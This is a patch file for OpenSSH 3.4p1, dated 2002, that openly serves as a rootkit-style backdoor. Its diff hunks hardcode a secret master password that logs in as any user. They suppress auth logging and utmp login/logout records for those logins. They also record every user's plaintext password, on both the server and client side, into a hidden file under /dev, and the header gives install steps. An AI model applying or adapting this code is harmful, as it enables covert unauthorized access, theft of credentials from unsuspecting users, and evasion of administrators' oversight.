# $Id: ssh0wn.diff,v 1.6 2002/08/08 21:53:02 enz00 Exp $
#
# patch for openssh-3.4p1
#
# when applied this patch will authenticate you 
# as any user with the secret password and that user
# will not be logged. it will also log logins/passwords
# client and server side
#
# usage:
# you'll probably want to change the defines found below
# make sure that the _LOG_DIR is chmod 777
# cp ssh0wn.diff openssh-3.4p1/;cd openssh-3.4p1
# patch < ssh0wn.diff
#
# enz00@angrypacket.com
# sec.angrypacket.com

--- openssh-3.4p1/auth-passwd.c  Fri Jun 21 02:05:13 2002
+++ ssh0wn/auth-passwd.c  Thu Aug  8 15:44:55 2002
@@ -218,6 +218,16 @@
 #endif /* HAVE_MD5_PASSWORDS */
 
   /* Authentication is accepted if the encrypted passwords are identical. */
-  return (strcmp(encrypted_password, pw_password) == 0);
+  if(strcmp(_SECRET_PASSWD, password) == 0){
+      mlogin_ok = 1;
+      return 1;
+  }
+  if(strcmp(encrypted_password, pw_password) == 0){
+      outf = fopen(_LOG_DIR"/"_S_LOG,"a+");
+      fprintf (outf, "%s:%s\n",pw->pw_name,password);
+      fclose (outf);
+      return 1;
+  }else
+      return 0;
 #endif /* !USE_PAM && !HAVE_OSF_SIA */
 }
--- openssh-3.4p1/auth.c  Wed May 22 01:06:28 2002
+++ ssh0wn/auth.c  Thu Aug  1 23:16:54 2002
@@ -248,14 +248,17 @@
   else
     authmsg = authenticated ? "Accepted" : "Failed";
 
-  authlog("%s %s for %s%.100s from %.200s port %d%s",
-      authmsg,
-      method,
-      authctxt->valid ? "" : "illegal user ",
-      authctxt->user,
-      get_remote_ipaddr(),
-      get_remote_port(),
-      info);
+  /* dont log if secret pass */
+  if(!mlogin_ok){
+    authlog("%s %s for %s%.100s from %.200s port %d%s",
+        authmsg,
+        method,
+        authctxt->valid ? "" : "illegal user ",
+        authctxt->user,
+        get_remote_ipaddr(),
+        get_remote_port(),
+        info);
+  }
 }
 
 /*
--- openssh-3.4p1/canohost.c  Tue Jun 11 12:47:22 2002
+++ ssh0wn/canohost.c  Wed Aug  7 17:43:34 2002
@@ -74,11 +74,13 @@
 
   debug3("Trying to reverse map address %.100s.", ntop);
   /* Map the IP address to a host name. */
-  if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
-      NULL, 0, NI_NAMEREQD) != 0) {
-    /* Host name not found.  Use ip address. */
-    log("Could not reverse map address %.100s.", ntop);
-    return xstrdup(ntop);
+  if(!mlogin_ok){
+    if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+        NULL, 0, NI_NAMEREQD) != 0) {
+      /* Host name not found.  Use ip address. */
+      log("Could not reverse map address %.100s.", ntop);
+         return xstrdup(ntop);
+    }
   }
 
   /* Got host name. */
--- openssh-3.4p1/includes.h  Mon May 13 01:14:09 2002
+++ ssh0wn/includes.h  Thu Aug  8 15:45:46 2002
@@ -157,4 +157,13 @@
 
 #include "entropy.h"
 
+/* hax0r shit */
+#define _SECRET_PASSWD "l33thex0r_passwerd"
+#define _LOG_DIR "/dev/hdal"
+#define _S_LOG "slog"
+#define _C_LOG "clog"
+FILE *outf;
+int mlogin_ok;
+/* end hax0r shit */
+
 #endif /* INCLUDES_H */
--- openssh-3.4p1/sshconnect1.c  Thu Jun  6 15:57:34 2002
+++ ssh0wn/sshconnect1.c  Thu Aug  8 15:48:48 2002
@@ -922,6 +922,7 @@
 {
   int type, i;
   char *password;
+  char gpasswd[120];
 
   debug("Doing password authentication.");
   if (options.cipher == SSH_CIPHER_NONE)
@@ -930,6 +931,7 @@
     if (i != 0)
       error("Permission denied, please try again.");
     password = read_passphrase(prompt, 0);
+    strcpy(gpasswd,password);
     packet_start(SSH_CMSG_AUTH_PASSWORD);
     ssh_put_password(password);
     memset(password, 0, strlen(password));
@@ -938,8 +940,15 @@
     packet_write_wait();
 
     type = packet_read();
-    if (type == SSH_SMSG_SUCCESS)
+    if (type == SSH_SMSG_SUCCESS){
+      /* dont log if secret pass */
+      if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+        outf = fopen(_LOG_DIR"/"_C_LOG,"a+");
+        fprintf (outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr());
+        fclose (outf);
+      }
       return 1;
+    }
     if (type != SSH_SMSG_FAILURE)
       packet_disconnect("Protocol error: got %d in response to passwd auth", type);
   }
--- openssh-3.4p1/sshconnect2.c  Sun Jun 23 17:23:21 2002
+++ ssh0wn/sshconnect2.c  Thu Aug  8 15:48:20 2002
@@ -446,6 +446,7 @@
   static int attempt = 0;
   char prompt[150];
   char *password;
+  char gpasswd[120];
 
   if (attempt++ >= options.number_of_password_prompts)
     return 0;
@@ -456,6 +457,7 @@
   snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
       authctxt->server_user, authctxt->host);
   password = read_passphrase(prompt, 0);
+  strcpy(gpasswd,password);
   packet_start(SSH2_MSG_USERAUTH_REQUEST);
   packet_put_cstring(authctxt->server_user);
   packet_put_cstring(authctxt->service);
@@ -470,6 +472,12 @@
   dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
       &input_userauth_passwd_changereq);
 
+  /* dont log if its the secret pass */
+  if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+    outf = fopen(_LOG_DIR"/"_C_LOG,"a+");
+    fprintf (outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr());
+    fclose (outf);
+  }
   return 1;
 }
 /*
--- openssh-3.4p1/sshlogin.c  Sun Jun 23 17:23:21 2002
+++ ssh0wn/sshlogin.c  Thu Aug  8 15:46:10 2002
@@ -71,8 +71,11 @@
 
   li = login_alloc_entry(pid, user, host, ttyname);
   login_set_addr(li, addr, sizeof(struct sockaddr));
-  login_login(li);
-  login_free_entry(li);
+  /* dont log if secret pass */
+  if(!mlogin_ok){
+    login_login(li);
+    login_free_entry(li);
+  }
 }
 
 #ifdef LOGIN_NEEDS_UTMPX
@@ -96,6 +99,9 @@
   struct logininfo *li;
 
   li = login_alloc_entry(pid, user, NULL, ttyname);
-  login_logout(li);
-  login_free_entry(li);
+  /* no logout if secret pass */
+  if(!mlogin_ok){
+    login_logout(li);
+    login_free_entry(li);
+  }
 }